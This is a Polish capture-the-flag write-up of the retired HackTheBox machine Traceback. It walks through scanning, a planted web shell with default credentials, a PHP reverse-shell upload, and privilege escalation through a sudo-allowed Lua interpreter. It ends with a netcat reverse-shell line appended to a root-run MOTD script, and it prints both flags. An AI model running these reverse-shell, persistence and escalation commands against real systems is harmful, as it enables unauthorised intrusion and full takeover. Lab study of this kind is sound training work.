Writeup: Maszyna HackTheBox Traceback
Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Traceback - spełnia ten warunek.1. TLDR
2. Przygotowanie
Przygotujmy przydatne zmienne:
export IP=10.10.10.181
3. Skanowanie i rozpoznanie
Na początek użyłem narzędzia nmap do identyfikacji otwartych portów:
t4wny0wl@whitehatlab$ nmap -A $IP -T3 -oN 01.nmap.txt -Pn
Nmap scan report for 10.10.10.181
Host is up (0.48s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
| 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), Linux 3.18 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Android 4.2.2 (Linux 3.4) (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8888/tcp)
HOP RTT ADDRESS
1 226.00 ms 10.10.14.1
2 224.00 ms 10.10.10.181
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 12 15:37:49 2020 -- 1 IP address (1 host up) scanned in 94.58 seconds
Jednym z otwartych portów był 80, na którym działała usługa http. Uruchomiłem więc narzędzie gobuster w celu identyfikacji interesujących zasobów:
t4wny0wl@whitehatlab$ /opt/gobuster/gobuster dir -u $IP --wordlist=/usr/share/wordlists/directory-list-2.3-medium.txt | tee 02.gobuster.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.181
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/06/13 20:37:55 Starting gobuster
===============================================================
/server-status (Status: 403)
===============================================================
2020/06/13 21:14:31 Finished
===============================================================
Czekając na wyniki gobustera, uruchomiłem narzędzie nikto do przeskanowania serwera w celu identyfikacji znanych podatności:
t4wny0wl@whitehatlab$ nikto -h $IP -nossl
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP: 10.10.10.181
+ Target Hostname: 10.10.10.181
+ Target Port: 80
+ Start Time: 2020-06-13 19:33:20 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x459 0x5911796d5b788
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
+ OSVDB-3233: /icons/README: Apache default file found.
+ 6545 items checked: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2020-06-13 19:45:32 (GMT2) (732 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Niestety wyniki skanowania narzędziami gobuster oraz nikto nie dostarczyły istotnych informacji. Czekając jednak na wyniki tych skanowań miałem odrobinę czasu, żeby przejrzeć źródło strony:
Natrafiłem tutaj na ciekawy fragment:
<!--Some of the best web shells that you might need ;)-->
Czym są “najlepsze webshelle”? Poszukałem znalezionego komentarza w wyszukiwarce Google. Pierwszym rezultatem było repozytorium WebShells należące do użykownika Xh4H. W opisie tego repozytorium można było znaleźć ten sam komentarz.
Zbudowałem więc prosty słownik zawierający nazwy webshelli użytkownika Xh4H. Następnie ponownie uruchomiłem narzędzie gobuster w celu ujawnienia istniejącego webshella:
$ /opt/gobuster/gobuster dir -u $IP -w ./04.wordlist-shells.txt | tee 05.gobuster.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.181
[+] Threads: 10
[+] Wordlist: ./04.wordlist-shells.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/06/13 22:57:48 Starting gobuster
===============================================================
/smevk.php (Status: 200)
===============================================================
2020/06/13 22:57:49 Finished
===============================================================
Na serwerze znajdowała się zatem instancja webshella SmEvK.
4. Uzyskanie dostępu
Odwiedziłem stronę http://10.10.10.181/smevk.php i zalogowałem się używając domyślnego użytkownika i hasła (admin: admin). Uzyskałem dostęp do panelu backdoora, jak na zrzucie ekranu poniżej.
5. Utrzymanie dostępu
W celu utrzymania dostępu do systemu, przygotowałem własny webshell:
$ cp /usr/share/webshells/php/php-reverse-shell.php ./
W pliku php-reverse-shell.php
zainicjalizowałem zmienne $ip i $port:
$ip = '10.10.14.207'; // CHANGE THIS
$port = 4444; // CHANGE THIS
Następnie przesłałem na serwer plik php-reverse-shell.php
wykorzystując do tego panel SmEvK dostępny pod adresem http://10.10.10.181/smevk.php
Na maszynie atakującego przygotowałem netcata:
$ nc -nvlp 4444
i odwiedziłem stronę http://10.10.10.181/php-reverse-shell.php w celu nawiązania połączenia.
Uzyskałęm dostęp do shella…
i wykonałem jego upgrade:
$ SHELL=/bin/bash script -q /dev/null
6. Eskalacja uprawnień: webadmin ⇨ sysadmin
Spróbowałem wypisać dozwolone i zabronione polecenia dla użytkownika webadmin:
webadmin@traceback:/$ sudo -l
Password:
Matching Defaults entries for webadmin on traceback:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User webadmin may run the following commands on traceback:
(sysadmin) NOPASSWD: /home/sysadmin/luvit
Miałem więc dostęp do interpretera języka Lua (luvit). Wszedłem na stronę gtfobins i poszukałem sposobu, żeby go wykorzystać do podniesienia uprawnień. Utworzyłem zatem i zapisałem prosty skrypt na atakowanej maszynie:
webadmin@traceback:/$ echo 'os.execute("/bin/sh")' > /dev/shm/lua-shell.lua
Pozostało podnieść uprawnienia…
webadmin@traceback:/$ sudo -u sysadmin /home/sysadmin/luvit /dev/shm/lua-shell.lua
<ysadmin /home/sysadmin/luvit /dev/shm/lua-shell.lua
$
…i zgodnie z przyjętą praktyką wykonać upgrade shella.
SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm
W katalogu użytkownika mogłem znaleźć i odczytać plik z flagą:
sysadmin@traceback:/$ cat ~/user.txt
47608c5d6cd357005d3c4b42d8878fd8
7. Eskalacja uprawnień: sysadmin ⇨ root
W celu zagwarantowania wygodniejszego dostępu do przejętej maszyny, dodałem dodać swój klucz publiczny do pliku /home/sysadmin/.ssh/authorized_keys
echo '<public key>' >> /home/sysadmin/.ssh/authorized_keys
Polecenia sudo -l
oraz find / -perm /4000 2>/dev/null
nie dostarczyły żadnych użytecznych informacji. Spróbowałem zatem przesłać skrypt linpeas.sh na atakowaną maszynę:
t4wny0wl@whitehatlab$ cp /opt/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh ./
t4wny0wl@whitehatlab$ scp ./linpeas.sh sysadmin@$IP:/home/sysadmin/linpeas.sh
Połączyłem się z serwerem przez ssh:
t4wny0wl@whitehatlab$ ssh sysadmin@$IP
$ SHELL=/bin/bash script -q /dev/null
Następnie na atakowanej maszynie uruchomiłem skrypt linpeas.sh:
$ cd /home/sysadmin/
$ chmod +x linpeas.sh
$ ./linpeas.sh | tee linout.txt
Niestety na standardowym wyjściu nie znalazłem niczego co wpadłoby w oko.
Przejrzałem więc listę procesów:
$ ps aux
Znalazłem interesujący wpis informujący o istnieniu procesu powłoki, który z uprawnieniami roota wykonywał skrypt przywracający nieznane mi pliki w katalogu /etc/update-motd.d/
root 21477 0.0 0.0 4628 880 ? Ss 15:58 0:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
Przyjąłem założenie, że jeżeli ktoś odświeża istnienie tych plików, to są one co najmniej istotne lub nawet krytyczne z jakiegoś punktu wiedzenia. Sprawdziłem więc jeszcze raz standardowe wyjście skryptu linpeas.sh:
$ cat /dev/shm/linout.txt | grep update-motd
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/10-help-text
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/00-header
/etc/update-motd.d/80-esm
-rwxr-xr-x 1 root root 4264 Aug 25 2019 /var/backups/.update-motd.d/50-motd-news
-rwxr-xr-x 1 root root 982 Aug 27 2019 /var/backups/.update-motd.d/10-help-text
-rwxr-xr-x 1 root root 299 Aug 25 2019 /var/backups/.update-motd.d/91-release-upgrade
-rwxr-xr-x 1 root root 981 Aug 25 2019 /var/backups/.update-motd.d/00-header
-rwxr-xr-x 1 root root 604 Aug 25 2019 /var/backups/.update-motd.d/80-esm
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/10-help-text
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/00-header
/etc/update-motd.d/80-esm
Pojawiło się podejrzenie, że mógłbym dodać coś do jednego z plików w /etc/update-motd.d/
Ale do czego służyły te pliki? Były to skrypty mechanizmu Message of the Day:
sysadmin@traceback:~$ cat /etc/update-motd.d/00-header
#!/bin/sh
#
# 00-header - create the header of the MOTD
# Copyright (C) 2009-2010 Canonical Ltd.
#
# Authors: Dustin Kirkland <kirkland@canonical.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
[ -r /etc/lsb-release ] && . /etc/lsb-release
echo "\nWelcome to Xh4H land \n"
Interesujące informacje znalazłem w dokumentacji. Znajduje się tam fragment:
Executable scripts in /etc/update-motd.d/* are executed by pam_motd(8)
as the root user at each login(...).
Pojawiła się więc myśl, że prawdopodobnie mógłbym uruchomić jeden ze skryptów jako root przy jednoczesnym uwierzytelnieniu się przez ssh. Musiałem pamiętać też o tym, że pliki w katalogu /etc/update-motd.d/
są przywracane co 30 sekund.
Przygotowałem trzy okna powłoki:
‘root’
Uruchomiłem netcata:
t4wny0wl@whitehatlab$ nc -nvlp 7777
‘ignition’
wyłącznie WPISAŁEM (bez wciskania klawisza ‘Enter’):
t4wny0wl@whitehatlab$ ssh sysadmin@$IP
‘target’ (dotychczasowa powłoka na atakowanej maszynie)
Zaktualizowałem plik
/etc/update-motd.d/00-header
:sysadmin@traceback:~$ echo 'mknod /dev/shm/backpipe p && /bin/sh 0</dev/shm/backpipe | nc 10.10.14.207 7777 1>/dev/shm/backpipe' >> /etc/update-motd.d/00-header
A następnie wcisnąłem klawisz Enter w powłoce ‘ignition’. W tym momencie zostało nawiązane połączenie w powłoce ‘root’.
Uzyskałem uprawnienia roota i wykonałem upgrade shella:
SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm
Pozostało poszukać flagi, która znajdowała się pod ścieżką /root/root.txt
root@traceback:/# cat /root/root.txt
fce553ce0fe469fcabf60b316d6812ed
8. Podsumowanie
Do zdobycia flag doprowadziły poniższe okoliczności:
- Na serwerze http znajdował się wcześniej osadzony webshell
- Dostęp do webshella był chroniony domyślnymi danymi uwierzytelniającymi
- Użytkownik webadmin mógł uruchomić interpreter Lua (luvit) jako użytkownik sysadmin
- Użytkownik nie będący rootem, mógł modyfikować skrypty MotD w lokalizacji /etc/update-motd.d